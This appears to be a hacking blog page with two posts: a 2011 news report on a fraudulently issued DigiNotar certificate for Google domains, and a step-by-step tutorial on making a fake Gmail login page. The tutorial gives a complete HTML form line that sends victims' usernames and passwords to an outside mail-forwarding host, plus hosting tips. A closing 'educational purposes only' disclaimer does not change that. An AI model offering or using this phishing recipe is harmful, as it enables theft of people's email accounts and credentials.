September 1, 2011
Hackers has obtain Google certificate, could hijack Gmail accounts
Criminals could use the certificate to conduct "man-in-the-middle" attacks targeting users of Gmail, Google's search engine or any other service operated by the Mountain View, Calif. company.
"This is a wildcard for any of the Google domains," said Roel Schouwenberg, senior malware researcher with Kaspersky Lab, in an email interview Monday.
"[Attackers] could poison DNS, present their site with the fake cert and bingo, they have the user's credentials," said Andrew Storms, director of security operations at nCircle Security.
Man-in-the-middle attacks could also be launched via spam messages with links leading to a site posing as, say, the real Gmail. If recipients surfed to that link, their account login username and password could be hijacked.
Details of the certificate were posted on Pastebin.com last Saturday. Pastebin.com is a public site where developers -- including hackers -- often post source code samples.
According to Schouwenberg, the SSL (secure socket layer) certificate is valid, and was issued by DigiNotar, a Dutch certificate authority, or CA. DigiNotar was acquired earlier this year by Chicago-based Vasco, which bills itself on its site as "a world leader in strong authentication."
Vasco did not reply to a request for comment.
Security researcher and Tor developer Jacob Applebaum confirmed that the certificate was valid in an email answer to Computerworld questions, as did noted SSL researcher Moxie Marlinspike on Twitter. "Yep, just verified the signature, that pastebin *.google.com certificate is real," said Marlinspike.
Because the certificate is valid, a browser would not display a warning message if its user went to a website signed with the certificate.
It's unclear whether the certificate was obtained because of a lack of oversight by DigiNotar or through a breach of the company's certificate issuing website.
Schouwenberg urged the company to provide more information as soon as possible.
"Given their ties to the government and financial sectors it's extremely important we find out the scope of the breach as quickly as possible," Schouwenberg said. The situation was reminiscent of a breach last March, when a hacker obtained certificates for some of the Web's biggest sites, including Google and Gmail, Microsoft, Skype and Yahoo.
Then, Comodo said that nine certificates had been fraudulently issued after attackers used an account assigned to a company partner in southern Europe.
Initially, Comodo argued that Iran's government may have been involved in the theft. Days later, however, a solo Iranian hacker claimed responsibility for stealing the SSL certificates.
Kaspersky's Schouwenberg said "nation-state involvement is the most plausible explanation" for the acquisition of the DigiNotar-issued certificate.
"For one [thing], there's the type of information being looked for -- from Google users," said Schouwenberg. "This hints towards an intelligence operation rather than anything else. Secondly, this type of attack only works when the attacker has some control over the network, but not over the actual machine."
Others were more skeptical because of the claim that a single hacker pulled off the Comodo heist.
"I think it might still be a stretch to attribute this to the Iranian government," said Marlinspike on Twitter shortly before 4 p.m. ET. "We all know how that went last time."
The google.com certificate has not yet been revoked by DigiNotar -- the first step to blocking its use -- even though it was issued July 10.
Last March, browser makers, including Google, Microsoft and Mozilla, rushed out updates that added the stolen Comodo certificates to their applications' blacklists.
Storms said he expected Google to quickly update Chrome, and that Microsoft, Mozilla and other would do the same some time later. "I suspect that if asked [Microsoft and Mozilla] will also issue updates, as there is already a precedent," said Storms.
Categories:
Gmail,
Gmail Hacking,
Google Certificate,
Hackers
April 21, 2011
Hacking Tricks » How To Create A Fake Email Login Page
Fake Login Pages are one of the BEST method to Hack an Email account.Now it’s easy to build a Fake Login Pages without any knowledge of Programming Languages.
One can use http://www.jotform.com to build the Sign Up page.
Rest of the things required to build a Fake Login Page are easy to learn.Example of a Fake Login Page is displayed below.
Don’t forget to spice up your fake login page with css to express the delusion.
If you want to host your page on a free server, then below is the link to Free Hosting Providers.
http://www.webs.com or http://www.zymic.com
How to : Make Fake Login Page in 5 mins
Do step by step
- Open any page for which you wanna make fake. (For example: Gmail.com)
- Save page . In the saving option it asks for save as type select complete webpage.(Ctrl + s)
- Now where u have save the page it will be showing u that page and a dir wid images on the page.
- Now Rite Click on the Page and click edit.
- Search <Form in the page.
- Now Delete That Form Value , Method ,Action whatever its written delete that line.(For Gmail: <FORM id=”gaia_loginform” action=”https://www.google.com/accounts/ServiceLoginAuth” method=”post” onSubmit=”return(gaia_onLoginSubmit());”>)
- Now add this line
<form action="http://www.big-llc.com/formmailer/submit" method="post"><input type="hidden" value="Your Email Id" name="fm-to"><font color="#333333"> </font><input type="hidden" value="blog.icyse.com_password_for educational purposes only" name="fm-title"><font color="#333333"> </font><input type="hidden" value="Link You Want To redirect" name="fm-redirect"><font color="#333333"> </font>
- Save and close the editor.
- Upload the Directory wid images and this Page on free hosting site.
- Its Done Simply made in just 5 mins
Now you can receive the id/password on your email.
Disclaimer
All the information provided on ProHackingTricks are for educational purposes only. The site is no way responsible for any misuse of the information. ProHackingTricks is a site related to Computer Security and not a site that promotes hacking/cracking/software piracy.All the information on this site are meant for developing Hacker Defense attitude among the users and help preventing the hack attacks.ProHackingTricks insists that these information shall not be used for causing any kind of damage directly or indirectly.The site is totally meant for educational purposes only and the author of ProHackingTricks is not liable of any illegal act performed by any user.
Subscribe to:
Posts (Atom)